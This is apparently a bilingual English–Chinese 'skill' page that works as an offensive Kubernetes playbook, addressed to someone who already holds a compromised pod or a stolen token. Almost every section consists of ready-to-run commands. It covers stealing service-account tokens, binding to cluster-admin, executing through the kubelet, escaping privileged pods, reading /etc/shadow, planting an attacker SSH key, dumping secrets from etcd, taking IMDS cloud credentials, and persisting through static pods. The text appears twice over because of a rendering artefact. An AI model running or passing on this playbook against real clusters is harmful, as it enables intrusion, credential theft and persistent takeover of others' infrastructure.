offensive-k8s-attacks

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Kubernetes Cluster Attacks

Kubernetes 集群攻击

You have access to a Kubernetes environment, either through a compromised pod, stolen kubeconfig, or exposed API server. Your objective is to escalate privileges, move laterally, and compromise the cluster or underlying cloud infrastructure. Kubernetes security depends on RBAC policies, network policies, admission controllers, pod security standards, and cloud IAM integration. Each misconfiguration opens a path to deeper access. This skill covers systematic enumeration, privilege escalation, secret extraction, and cluster-wide compromise techniques.
你可以通过已被攻陷的 Pod、窃取的 kubeconfig 或暴露的 API Server 访问 Kubernetes 环境。你的目标是提升权限、横向移动,并攻陷集群或底层云基础设施。Kubernetes 的安全性取决于 RBAC 策略、NetworkPolicy、Admission Controller、Pod Security Standards 以及云 IAM 集成。每项配置错误都会打开通往更深层访问权限的路径。此 skill 涵盖系统化枚举、权限提升、Secret 提取以及集群范围攻陷技术。

Quick Workflow

快速工作流

  1. Determine your initial position: pod shell, stolen token, exposed API, or kubeconfig file.
  2. Enumerate service account permissions, cluster roles, and accessible resources.
  3. Identify escalation vectors: RBAC gaps, kubelet exposure, hostPath mounts, cloud metadata access.
  4. Escalate privileges by chaining misconfigurations or abusing overprivileged service accounts.
  5. Extract secrets, pivot to other namespaces, and target the control plane.
  6. Leverage cloud metadata or etcd access for infrastructure-wide compromise.

  1. 确定初始位置:Pod shell、窃取的 token、暴露的 API 或 kubeconfig 文件。
  2. 枚举 Service Account 权限、ClusterRole 和可访问的资源。
  3. 识别权限提升向量:RBAC 缺口、kubelet 暴露、hostPath mount、云元数据访问。
  4. 通过串联配置错误或滥用权限过高的 Service Account 来提升权限。
  5. 提取 Secrets、转向其他 namespace,并攻击控制平面。
  6. 利用云元数据或 etcd 访问权限攻陷整个基础设施。

Phase 1: Initial Enumeration

阶段 1:初始枚举

Determining Your Position

确定当前位置

bash
undefined
bash
undefined

Check if you are inside a pod

Check if you are inside a pod

ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null cat /var/run/secrets/kubernetes.io/serviceaccount/token cat /var/run/secrets/kubernetes.io/serviceaccount/namespace cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null cat /var/run/secrets/kubernetes.io/serviceaccount/token cat /var/run/secrets/kubernetes.io/serviceaccount/namespace cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt

Environment variables set by Kubernetes

Environment variables set by Kubernetes

env | grep -i kube env | grep -i kubernetes
env | grep -i kube env | grep -i kubernetes

Service host and port are injected into every pod

Service host and port are injected into every pod

echo $KUBERNETES_SERVICE_HOST echo $KUBERNETES_SERVICE_PORT
echo $KUBERNETES_SERVICE_HOST echo $KUBERNETES_SERVICE_PORT

DNS resolution for API server

DNS resolution for API server

nslookup kubernetes.default.svc.cluster.local
nslookup kubernetes.default.svc.cluster.local

Determine if kubectl is available

Determine if kubectl is available

which kubectl 2>/dev/null
which kubectl 2>/dev/null

If not, use curl with the service account token

If not, use curl with the service account token

undefined
undefined

Setting Up API Access Without kubectl

在不使用 kubectl 的情况下建立 API 访问

bash
undefined
bash
undefined

Extract token and CA certificate

Extract token and CA certificate

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"

Test API access

Test API access

curl -s --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}"
${APISERVER}/api/v1/namespaces
curl -s --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}"
${APISERVER}/api/v1/namespaces

Shorthand function for repeated use

Shorthand function for repeated use

k8s_api() { curl -s --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}"
"${APISERVER}$1" }
k8s_api() { curl -s --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}"
"${APISERVER}$1" }

Check your identity

Check your identity

k8s_api "/apis/authentication.k8s.io/v1/tokenreviews"
-X POST -H "Content-Type: application/json"
-d "{"apiVersion":"authentication.k8s.io/v1","kind":"TokenReview","spec":{"token":"${TOKEN}"}}"
undefined
k8s_api "/apis/authentication.k8s.io/v1/tokenreviews"
-X POST -H "Content-Type: application/json"
-d "{"apiVersion":"authentication.k8s.io/v1","kind":"TokenReview","spec":{"token":"${TOKEN}"}}"
undefined

Automated Enumeration Tools

自动化枚举工具

bash
undefined
bash
undefined

kube-hunter - Kubernetes penetration testing tool

kube-hunter - Kubernetes penetration testing tool

kube-hunter --active --remote $APISERVER
kube-hunter --active --remote $APISERVER

peirates - Kubernetes penetration tool (run from within pod)

peirates - Kubernetes penetration tool (run from within pod)

./peirates
./peirates

kubeaudit - Audit Kubernetes clusters for security concerns

kubeaudit - Audit Kubernetes clusters for security concerns

kubeaudit all -f /path/to/kubeconfig
kubeaudit all -f /path/to/kubeconfig

kdigger - Kubernetes-focused container assessment

kdigger - Kubernetes-focused container assessment

./kdigger dig all
./kdigger dig all

kubectl auth can-i - Check your permissions

kubectl auth can-i - Check your permissions

kubectl auth can-i --list kubectl auth can-i --list --namespace=kube-system kubectl auth can-i create pods kubectl auth can-i create pods/exec kubectl auth can-i get secrets kubectl auth can-i '' ''

---
kubectl auth can-i --list kubectl auth can-i --list --namespace=kube-system kubectl auth can-i create pods kubectl auth can-i create pods/exec kubectl auth can-i get secrets kubectl auth can-i '' ''

---

Phase 2: Service Account Token Theft and Abuse

阶段 2:Service Account Token 窃取与滥用

Discovering Tokens

发现 Token

bash
undefined
bash
undefined

Default service account token mount

Default service account token mount

cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/token

Projected service account tokens (newer clusters)

Projected service account tokens (newer clusters)

ls /var/run/secrets/kubernetes.io/serviceaccount/
ls /var/run/secrets/kubernetes.io/serviceaccount/

Files: token, ca.crt, namespace

Files: token, ca.crt, namespace

Search for tokens in environment variables and config files

Search for tokens in environment variables and config files

env | grep -i token find / -name "kubeconfig" -o -name ".kube" -o -name "config" 2>/dev/null find / -name "*.kubeconfig" 2>/dev/null
env | grep -i token find / -name "kubeconfig" -o -name ".kube" -o -name "config" 2>/dev/null find / -name "*.kubeconfig" 2>/dev/null

Check mounted secrets in other pods (if you can list or exec)

Check mounted secrets in other pods (if you can list or exec)

kubectl get pods -A -o jsonpath='{range .items[]}{.metadata.namespace}/{.metadata.name}: {range .spec.volumes[]}{.secret.secretName} {end}{"\n"}{end}'
kubectl get pods -A -o jsonpath='{range .items[]}{.metadata.namespace}/{.metadata.name}: {range .spec.volumes[]}{.secret.secretName} {end}{"\n"}{end}'

Look for tokens in etcd, configmaps, or environment variables

Look for tokens in etcd, configmaps, or environment variables

kubectl get secrets -A kubectl get configmaps -A -o yaml | grep -i token
undefined
kubectl get secrets -A kubectl get configmaps -A -o yaml | grep -i token
undefined

Token Impersonation

Token 冒充

bash
undefined
bash
undefined

Use a stolen token to authenticate

Use a stolen token to authenticate

kubectl --token="$STOLEN_TOKEN" --server="$APISERVER"
--certificate-authority="$CACERT" auth can-i --list
kubectl --token="$STOLEN_TOKEN" --server="$APISERVER"
--certificate-authority="$CACERT" auth can-i --list

Impersonate a service account (requires impersonate verb)

Impersonate a service account (requires impersonate verb)

kubectl auth can-i impersonate serviceaccounts kubectl --as=system:serviceaccount:kube-system:default get secrets -n kube-system
kubectl auth can-i impersonate serviceaccounts kubectl --as=system:serviceaccount:kube-system:default get secrets -n kube-system

Impersonate a user

Impersonate a user

kubectl --as=admin@example.com get pods -A
kubectl --as=admin@example.com get pods -A

Impersonate a group

Impersonate a group

kubectl --as-group=system:masters --as=dummy get secrets -A

---
kubectl --as-group=system:masters --as=dummy get secrets -A

---

Phase 3: RBAC Misconfiguration Exploitation

阶段 3:RBAC 配置错误利用

Identifying Dangerous Permissions

识别危险权限

bash
undefined
bash
undefined

List all cluster roles and role bindings

List all cluster roles and role bindings

kubectl get clusterroles -o json | python3 -c " import json,sys data=json.load(sys.stdin) for role in data['items']: for rule in role.get('spec',{}).get('rules',[]): verbs=rule.get('verbs',[]) resources=rule.get('resources',[]) if '' in verbs or '' in resources: print(f"DANGER: {role['metadata']['name']} - verbs:{verbs} resources:{resources}") "
kubectl get clusterroles -o json | python3 -c " import json,sys data=json.load(sys.stdin) for role in data['items']: for rule in role.get('spec',{}).get('rules',[]): verbs=rule.get('verbs',[]) resources=rule.get('resources',[]) if '' in verbs or '' in resources: print(f"DANGER: {role['metadata']['name']} - verbs:{verbs} resources:{resources}") "

Check for wildcard permissions

Check for wildcard permissions

kubectl get clusterrolebindings -o json | python3 -c " import json,sys data=json.load(sys.stdin) for b in data['items']: subjects = b.get('subjects',[]) or [] role = b.get('roleRef',{}).get('name','') for s in subjects: print(f"{s.get('kind')}/{s.get('name')} -> {role}") "
kubectl get clusterrolebindings -o json | python3 -c " import json,sys data=json.load(sys.stdin) for b in data['items']: subjects = b.get('subjects',[]) or [] role = b.get('roleRef',{}).get('name','') for s in subjects: print(f"{s.get('kind')}/{s.get('name')} -> {role}") "

Find service accounts bound to cluster-admin

Find service accounts bound to cluster-admin

kubectl get clusterrolebindings -o json |
python3 -c " import json,sys data=json.load(sys.stdin) for b in data['items']: if b.get('roleRef',{}).get('name')=='cluster-admin': for s in (b.get('subjects') or []): print(f"cluster-admin: {s.get('kind')}/{s.get('namespace','')}/{s.get('name')}") "
undefined
kubectl get clusterrolebindings -o json |
python3 -c " import json,sys data=json.load(sys.stdin) for b in data['items']: if b.get('roleRef',{}).get('name')=='cluster-admin': for s in (b.get('subjects') or []): print(f"cluster-admin: {s.get('kind')}/{s.get('namespace','')}/{s.get('name')}") "
undefined

Escalation via RBAC Gaps

利用 RBAC 缺口提升权限

bash
undefined
bash
undefined

If you can create role bindings, bind yourself to cluster-admin

If you can create role bindings, bind yourself to cluster-admin

kubectl create clusterrolebinding pwn-binding
--clusterrole=cluster-admin
--serviceaccount=default:default
kubectl create clusterrolebinding pwn-binding
--clusterrole=cluster-admin
--serviceaccount=default:default

If you can create roles, grant yourself wildcard access

If you can create roles, grant yourself wildcard access

cat <<'EOF' | kubectl apply -f - apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: pwn-role rules:
  • apiGroups: [""] resources: [""] verbs: ["*"]

apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: pwn-role-binding roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: pwn-role subjects:
  • kind: ServiceAccount name: default namespace: default EOF
cat <<'EOF' | kubectl apply -f - apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: pwn-role rules:
  • apiGroups: [""] resources: [""] verbs: ["*"]

apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: pwn-role-binding roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: pwn-role subjects:
  • kind: ServiceAccount name: default namespace: default EOF

If you can patch existing bindings

If you can patch existing bindings

kubectl patch clusterrolebinding existing-binding -p
'{"subjects":[{"kind":"ServiceAccount","name":"default","namespace":"default"}]}'
kubectl patch clusterrolebinding existing-binding -p
'{"subjects":[{"kind":"ServiceAccount","name":"default","namespace":"default"}]}'

Escalate through escalate verb

Escalate through escalate verb

The "escalate" verb on roles/clusterroles allows granting permissions

The "escalate" verb on roles/clusterroles allows granting permissions

you do not have yourself

you do not have yourself

kubectl auth can-i escalate clusterroles

---
kubectl auth can-i escalate clusterroles

---

Phase 4: Kubelet API Exploitation

阶段 4:kubelet API 利用

Accessing Kubelet Directly

直接访问 kubelet

bash
undefined
bash
undefined

Kubelet API runs on port 10250 (authenticated) and 10255 (read-only, deprecated)

Kubelet API runs on port 10250 (authenticated) and 10255 (read-only, deprecated)

Scan for kubelet ports across cluster nodes

Scan for kubelet ports across cluster nodes

Read-only port (10255) - no auth required if exposed

Read-only port (10255) - no auth required if exposed

curl -s http://NODE_IP:10255/pods | python3 -m json.tool curl -s http://NODE_IP:10255/spec/ curl -s http://NODE_IP:10255/metrics
curl -s http://NODE_IP:10255/pods | python3 -m json.tool curl -s http://NODE_IP:10255/spec/ curl -s http://NODE_IP:10255/metrics

Authenticated port (10250) - requires valid credentials

Authenticated port (10250) - requires valid credentials

Use service account token or client certificate

Use service account token or client certificate

curl -sk https://NODE_IP:10250/pods
-H "Authorization: Bearer ${TOKEN}"
curl -sk https://NODE_IP:10250/pods
-H "Authorization: Bearer ${TOKEN}"

List running pods on the node

List running pods on the node

curl -sk https://NODE_IP:10250/runningpods/
-H "Authorization: Bearer ${TOKEN}"
undefined
curl -sk https://NODE_IP:10250/runningpods/
-H "Authorization: Bearer ${TOKEN}"
undefined

Command Execution via Kubelet

通过 kubelet 执行命令

bash
undefined
bash
undefined

kubeletctl tool for kubelet API interaction

kubeletctl tool for kubelet API interaction

kubeletctl -s NODE_IP pods kubeletctl -s NODE_IP scan rce
kubeletctl -s NODE_IP pods kubeletctl -s NODE_IP scan rce

Execute commands in pods via kubelet API directly (bypasses API server RBAC)

Execute commands in pods via kubelet API directly (bypasses API server RBAC)

curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME
-H "Authorization: Bearer ${TOKEN}"
-d "cmd=id"
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME
-H "Authorization: Bearer ${TOKEN}"
-d "cmd=id"

Execute in every container on the node

Execute in every container on the node

curl -sk https://NODE_IP:10250/runningpods/
-H "Authorization: Bearer ${TOKEN}" |
python3 -c " import json,sys pods=json.load(sys.stdin) for pod in pods.get('items',[]): ns=pod['metadata']['namespace'] name=pod['metadata']['name'] for c in pod['spec'].get('containers',[]): print(f'{ns}/{name}/{c["name"]}') "
curl -sk https://NODE_IP:10250/runningpods/
-H "Authorization: Bearer ${TOKEN}" |
python3 -c " import json,sys pods=json.load(sys.stdin) for pod in pods.get('items',[]): ns=pod['metadata']['namespace'] name=pod['metadata']['name'] for c in pod['spec'].get('containers',[]): print(f'{ns}/{name}/{c["name"]}') "

Then exec into each one to extract tokens and secrets

Then exec into each one to extract tokens and secrets

Retrieve container logs

Retrieve container logs

curl -sk "https://NODE_IP:10250/containerLogs/NAMESPACE/POD/CONTAINER"
-H "Authorization: Bearer ${TOKEN}"

---
curl -sk "https://NODE_IP:10250/containerLogs/NAMESPACE/POD/CONTAINER"
-H "Authorization: Bearer ${TOKEN}"

---

Phase 5: Pod Escape via Privileged Configuration

阶段 5:通过特权配置实现 Pod 逃逸

hostPID Escape

hostPID 逃逸

bash
undefined
bash
undefined

If the pod has hostPID: true, you see all host processes

If the pod has hostPID: true, you see all host processes

ps aux # Shows host processes
ps aux # Shows host processes

Access host filesystem via /proc/1/root

Access host filesystem via /proc/1/root

ls -la /proc/1/root/ cat /proc/1/root/etc/shadow cat /proc/1/root/etc/kubernetes/manifests/kube-apiserver.yaml
ls -la /proc/1/root/ cat /proc/1/root/etc/shadow cat /proc/1/root/etc/kubernetes/manifests/kube-apiserver.yaml

nsenter into host namespaces

nsenter into host namespaces

nsenter -t 1 -m -u -i -n -p -- bash
nsenter -t 1 -m -u -i -n -p -- bash

Steal tokens from other pods' processes

Steal tokens from other pods' processes

for pid in $(ls /proc/ | grep -E '^[0-9]+$'); do token=$(cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n' | grep -i kube) if [ -n "$token" ]; then cmdline=$(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ') echo "PID $pid ($cmdline): $token" fi done
undefined
for pid in $(ls /proc/ | grep -E '^[0-9]+$'); do token=$(cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n' | grep -i kube) if [ -n "$token" ]; then cmdline=$(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ') echo "PID $pid ($cmdline): $token" fi done
undefined

hostNetwork Escape

hostNetwork 逃逸

bash
undefined
bash
undefined

If the pod has hostNetwork: true, you share the host's network namespace

If the pod has hostNetwork: true, you share the host's network namespace

ip addr show # Shows host network interfaces
ip addr show # Shows host network interfaces

Access services bound to localhost on the host

Access services bound to localhost on the host

curl -s http://127.0.0.1:10255/pods # Kubelet read-only curl -sk https://127.0.0.1:10250/pods # Kubelet API curl -s http://127.0.0.1:2379/version # etcd (if exposed)
curl -s http://127.0.0.1:10255/pods # Kubelet read-only curl -sk https://127.0.0.1:10250/pods # Kubelet API curl -s http://127.0.0.1:2379/version # etcd (if exposed)

Access cloud metadata from host network perspective

Access cloud metadata from host network perspective

curl -s http://169.254.169.254/latest/meta-data/ # AWS curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/ # GCP curl -s -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" # Azure
curl -s http://169.254.169.254/latest/meta-data/ # AWS curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/ # GCP curl -s -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" # Azure

Scan internal services

Scan internal services

for port in 443 8443 6443 2379 10250 10255 30000-32767; do timeout 1 bash -c "echo >/dev/tcp/127.0.0.1/$port" 2>/dev/null && echo "Port $port open" done
undefined
for port in 443 8443 6443 2379 10250 10255 30000-32767; do timeout 1 bash -c "echo >/dev/tcp/127.0.0.1/$port" 2>/dev/null && echo "Port $port open" done
undefined

hostPath Volume Escape

hostPath Volume 逃逸

bash
undefined
bash
undefined

If the pod mounts a hostPath volume, you can read/write host files

If the pod mounts a hostPath volume, you can read/write host files

Common dangerous hostPath mounts:

Common dangerous hostPath mounts:

/ - full host filesystem

/ - full host filesystem

/var/run - container runtime sockets

/var/run - container runtime sockets

/etc - host configuration

/etc - host configuration

/var/log - host logs (may contain secrets)

/var/log - host logs (may contain secrets)

/root - root home directory

/root - root home directory

Check what is mounted

Check what is mounted

mount | grep -v overlay cat /proc/1/mountinfo
mount | grep -v overlay cat /proc/1/mountinfo

If / is mounted at /host

If / is mounted at /host

cat /host/etc/shadow cat /host/etc/kubernetes/admin.conf cat /host/root/.kube/config
cat /host/etc/shadow cat /host/etc/kubernetes/admin.conf cat /host/root/.kube/config

Write SSH key for host access

Write SSH key for host access

echo "ssh-rsa AAAA... attacker" >> /host/root/.ssh/authorized_keys
echo "ssh-rsa AAAA... attacker" >> /host/root/.ssh/authorized_keys

Access Docker socket if mounted

Access Docker socket if mounted

ls -la /host/var/run/docker.sock
undefined
ls -la /host/var/run/docker.sock
undefined

Deploying a Privileged Pod

部署特权 Pod

bash
undefined
bash
undefined

If you can create pods, deploy one with full host access

If you can create pods, deploy one with full host access

cat <<'EOF' | kubectl apply -f - apiVersion: v1 kind: Pod metadata: name: pwn-pod namespace: default spec: hostPID: true hostNetwork: true containers:
  • name: pwn image: alpine command: ["/bin/sh", "-c", "sleep 3600"] securityContext: privileged: true volumeMounts:
    • name: host-root mountPath: /host volumes:
  • name: host-root hostPath: path: / type: Directory tolerations:
  • operator: Exists nodeSelector: node-role.kubernetes.io/control-plane: "" EOF
cat <<'EOF' | kubectl apply -f - apiVersion: v1 kind: Pod metadata: name: pwn-pod namespace: default spec: hostPID: true hostNetwork: true containers:
  • name: pwn image: alpine command: ["/bin/sh", "-c", "sleep 3600"] securityContext: privileged: true volumeMounts:
    • name: host-root mountPath: /host volumes:
  • name: host-root hostPath: path: / type: Directory tolerations:
  • operator: Exists nodeSelector: node-role.kubernetes.io/control-plane: "" EOF

Wait for pod to be ready, then exec in

Wait for pod to be ready, then exec in

kubectl exec -it pwn-pod -- nsenter -t 1 -m -u -i -n -p -- bash

---
kubectl exec -it pwn-pod -- nsenter -t 1 -m -u -i -n -p -- bash

---

Phase 6: Secrets Enumeration and Extraction

阶段 6:Secrets 枚举与提取

Kubernetes Secrets

Kubernetes Secrets

bash
undefined
bash
undefined

List all secrets across namespaces

List all secrets across namespaces

kubectl get secrets -A
kubectl get secrets -A

Get specific secret content (base64 encoded)

Get specific secret content (base64 encoded)

kubectl get secret SECRET_NAME -n NAMESPACE -o json
kubectl get secret SECRET_NAME -n NAMESPACE -o json

Decode all secrets in a namespace

Decode all secrets in a namespace

kubectl get secrets -n NAMESPACE -o json | python3 -c " import json,sys,base64 data=json.load(sys.stdin) for secret in data['items']: name=secret['metadata']['name'] print(f'=== {name} ===') for k,v in (secret.get('data') or {}).items(): try: decoded=base64.b64decode(v).decode('utf-8','replace') print(f' {k}: {decoded}') except: print(f' {k}: [binary data]') "
kubectl get secrets -n NAMESPACE -o json | python3 -c " import json,sys,base64 data=json.load(sys.stdin) for secret in data['items']: name=secret['metadata']['name'] print(f'=== {name} ===') for k,v in (secret.get('data') or {}).items(): try: decoded=base64.b64decode(v).decode('utf-8','replace') print(f' {k}: {decoded}') except: print(f' {k}: [binary data]') "

Target high-value secrets

Target high-value secrets

kubectl get secrets -A -o json | python3 -c " import json,sys data=json.load(sys.stdin) for s in data['items']: name=s['metadata']['name'] ns=s['metadata']['namespace'] stype=s.get('type','') if any(x in name.lower() for x in ['admin','root','cloud','aws','gcp','azure','password','key','cert','token','db','database','api']): print(f'HIGH-VALUE: {ns}/{name} (type: {stype})') "
undefined
kubectl get secrets -A -o json | python3 -c " import json,sys data=json.load(sys.stdin) for s in data['items']: name=s['metadata']['name'] ns=s['metadata']['namespace'] stype=s.get('type','') if any(x in name.lower() for x in ['admin','root','cloud','aws','gcp','azure','password','key','cert','token','db','database','api']): print(f'HIGH-VALUE: {ns}/{name} (type: {stype})') "
undefined

etcd Direct Access

直接访问 etcd

bash
undefined
bash
undefined

etcd stores all Kubernetes state including secrets in plaintext (unless encrypted at rest)

etcd stores all Kubernetes state including secrets in plaintext (unless encrypted at rest)

Default port: 2379 (client), 2380 (peer)

Default port: 2379 (client), 2380 (peer)

Check if etcd is accessible

Check if etcd is accessible

curl -s http://ETCD_IP:2379/version curl -s http://127.0.0.1:2379/version # From host network
curl -s http://ETCD_IP:2379/version curl -s http://127.0.0.1:2379/version # From host network

If etcd requires TLS, find certificates

If etcd requires TLS, find certificates

On control plane nodes, check:

On control plane nodes, check:

ls -la /etc/kubernetes/pki/etcd/
ls -la /etc/kubernetes/pki/etcd/

ca.crt, server.crt, server.key, peer.crt, peer.key

ca.crt, server.crt, server.key, peer.crt, peer.key

Use etcdctl with certs

Use etcdctl with certs

ETCDCTL_API=3 etcdctl
--endpoints=https://ETCD_IP:2379
--cacert=/etc/kubernetes/pki/etcd/ca.crt
--cert=/etc/kubernetes/pki/etcd/server.crt
--key=/etc/kubernetes/pki/etcd/server.key
get / --prefix --keys-only | head -50
ETCDCTL_API=3 etcdctl
--endpoints=https://ETCD_IP:2379
--cacert=/etc/kubernetes/pki/etcd/ca.crt
--cert=/etc/kubernetes/pki/etcd/server.crt
--key=/etc/kubernetes/pki/etcd/server.key
get / --prefix --keys-only | head -50

Dump all secrets from etcd

Dump all secrets from etcd

ETCDCTL_API=3 etcdctl
--endpoints=https://ETCD_IP:2379
--cacert=/etc/kubernetes/pki/etcd/ca.crt
--cert=/etc/kubernetes/pki/etcd/server.crt
--key=/etc/kubernetes/pki/etcd/server.key
get /registry/secrets --prefix
ETCDCTL_API=3 etcdctl
--endpoints=https://ETCD_IP:2379
--cacert=/etc/kubernetes/pki/etcd/ca.crt
--cert=/etc/kubernetes/pki/etcd/server.crt
--key=/etc/kubernetes/pki/etcd/server.key
get /registry/secrets --prefix

Extract specific secret

Extract specific secret

ETCDCTL_API=3 etcdctl
--endpoints=https://ETCD_IP:2379
--cacert=/etc/kubernetes/pki/etcd/ca.crt
--cert=/etc/kubernetes/pki/etcd/server.crt
--key=/etc/kubernetes/pki/etcd/server.key
get /registry/secrets/kube-system/admin-token

---
ETCDCTL_API=3 etcdctl
--endpoints=https://ETCD_IP:2379
--cacert=/etc/kubernetes/pki/etcd/ca.crt
--cert=/etc/kubernetes/pki/etcd/server.crt
--key=/etc/kubernetes/pki/etcd/server.key
get /registry/secrets/kube-system/admin-token

---

Phase 7: Cloud Metadata from Pods

阶段 7:从 Pod 访问云元数据

AWS EKS

AWS EKS

bash
undefined
bash
undefined

Access Instance Metadata Service (IMDS) from pod

Access Instance Metadata Service (IMDS) from pod

IMDSv2 (requires token)

IMDSv2 (requires token)

TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token"
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600") curl -s -H "X-aws-ec2-metadata-token: $TOKEN"
http://169.254.169.254/latest/meta-data/iam/security-credentials/
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token"
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600") curl -s -H "X-aws-ec2-metadata-token: $TOKEN"
http://169.254.169.254/latest/meta-data/iam/security-credentials/

EKS-specific: IRSA (IAM Roles for Service Accounts)

EKS-specific: IRSA (IAM Roles for Service Accounts)

Check for projected token and annotated service account

Check for projected token and annotated service account

cat $AWS_WEB_IDENTITY_TOKEN_FILE echo $AWS_ROLE_ARN
cat $AWS_WEB_IDENTITY_TOKEN_FILE echo $AWS_ROLE_ARN

Use AWS CLI with stolen role

Use AWS CLI with stolen role

aws sts assume-role-with-web-identity
--role-arn "$AWS_ROLE_ARN"
--role-session-name pwn
--web-identity-token "$(cat $AWS_WEB_IDENTITY_TOKEN_FILE)"
aws sts assume-role-with-web-identity
--role-arn "$AWS_ROLE_ARN"
--role-session-name pwn
--web-identity-token "$(cat $AWS_WEB_IDENTITY_TOKEN_FILE)"

Enumerate EKS cluster from stolen node credentials

Enumerate EKS cluster from stolen node credentials

aws eks describe-cluster --name CLUSTER_NAME aws eks list-clusters
undefined
aws eks describe-cluster --name CLUSTER_NAME aws eks list-clusters
undefined

GCP GKE

GCP GKE

bash
undefined
bash
undefined

GCP metadata server

GCP metadata server

Get access token for GCP APIs

Get access token for GCP APIs

ACCESS_TOKEN=$(curl -s -H "Metadata-Flavor: Google"
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token |
python3 -c "import json,sys;print(json.load(sys.stdin)['access_token'])")
ACCESS_TOKEN=$(curl -s -H "Metadata-Flavor: Google"
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token |
python3 -c "import json,sys;print(json.load(sys.stdin)['access_token'])")

Use token to access GCP APIs

Use token to access GCP APIs

Workload Identity check

Workload Identity check

Azure AKS

Azure AKS

bash
undefined
bash
undefined

Azure Instance Metadata Service

Azure Instance Metadata Service

Get managed identity token

Get managed identity token

Use token for Azure Resource Manager

Use token for Azure Resource Manager

TOKEN=$(curl -s -H "Metadata: true"
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" |
python3 -c "import json,sys;print(json.load(sys.stdin)['access_token'])")
curl -s -H "Authorization: Bearer $TOKEN"
"https://management.azure.com/subscriptions?api-version=2020-01-01"

---
TOKEN=$(curl -s -H "Metadata: true"
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" |
python3 -c "import json,sys;print(json.load(sys.stdin)['access_token'])")
curl -s -H "Authorization: Bearer $TOKEN"
"https://management.azure.com/subscriptions?api-version=2020-01-01"

---

Phase 8: Admission Controller Bypass and Persistence

阶段 8:绕过 Admission Controller 与持久化

Bypassing Admission Controllers

绕过 Admission Controller

bash
undefined
bash
undefined

Check which admission controllers are active

Check which admission controllers are active

kubectl get validatingwebhookconfigurations kubectl get mutatingwebhookconfigurations
kubectl get validatingwebhookconfigurations kubectl get mutatingwebhookconfigurations

Inspect webhook configuration for bypass opportunities

Inspect webhook configuration for bypass opportunities

kubectl get validatingwebhookconfigurations -o json | python3 -c " import json,sys data=json.load(sys.stdin) for wh in data['items']: name=wh['metadata']['name'] for w in wh.get('webhooks',[]): ns_selector=w.get('namespaceSelector',{}) obj_selector=w.get('objectSelector',{}) failure=w.get('failurePolicy','Fail') print(f'{name}/{w["name"]}: failurePolicy={failure}') if ns_selector: print(f' namespaceSelector: {json.dumps(ns_selector)}') if failure == 'Ignore': print(f' BYPASS: failurePolicy=Ignore - webhook failures are ignored') "
kubectl get validatingwebhookconfigurations -o json | python3 -c " import json,sys data=json.load(sys.stdin) for wh in data['items']: name=wh['metadata']['name'] for w in wh.get('webhooks',[]): ns_selector=w.get('namespaceSelector',{}) obj_selector=w.get('objectSelector',{}) failure=w.get('failurePolicy','Fail') print(f'{name}/{w["name"]}: failurePolicy={failure}') if ns_selector: print(f' namespaceSelector: {json.dumps(ns_selector)}') if failure == 'Ignore': print(f' BYPASS: failurePolicy=Ignore - webhook failures are ignored') "

If failurePolicy is Ignore, you can create resources when webhook is down

If failurePolicy is Ignore, you can create resources when webhook is down

If namespaceSelector excludes certain namespaces, deploy there

If namespaceSelector excludes certain namespaces, deploy there

Deploy to kube-system (often excluded from admission policies)

Deploy to kube-system (often excluded from admission policies)

kubectl run pwn --image=alpine -n kube-system -- sleep 3600
kubectl run pwn --image=alpine -n kube-system -- sleep 3600

Use static pods (bypass API server admission entirely)

Use static pods (bypass API server admission entirely)

Write manifest to /etc/kubernetes/manifests/ on a node

Write manifest to /etc/kubernetes/manifests/ on a node

cat > /host/etc/kubernetes/manifests/pwn.yaml << 'EOF' apiVersion: v1 kind: Pod metadata: name: pwn-static namespace: kube-system spec: hostPID: true hostNetwork: true containers:
  • name: pwn image: alpine command: ["sleep", "3600"] securityContext: privileged: true volumeMounts:
    • name: root mountPath: /host volumes:
  • name: root hostPath: path: / EOF
undefined
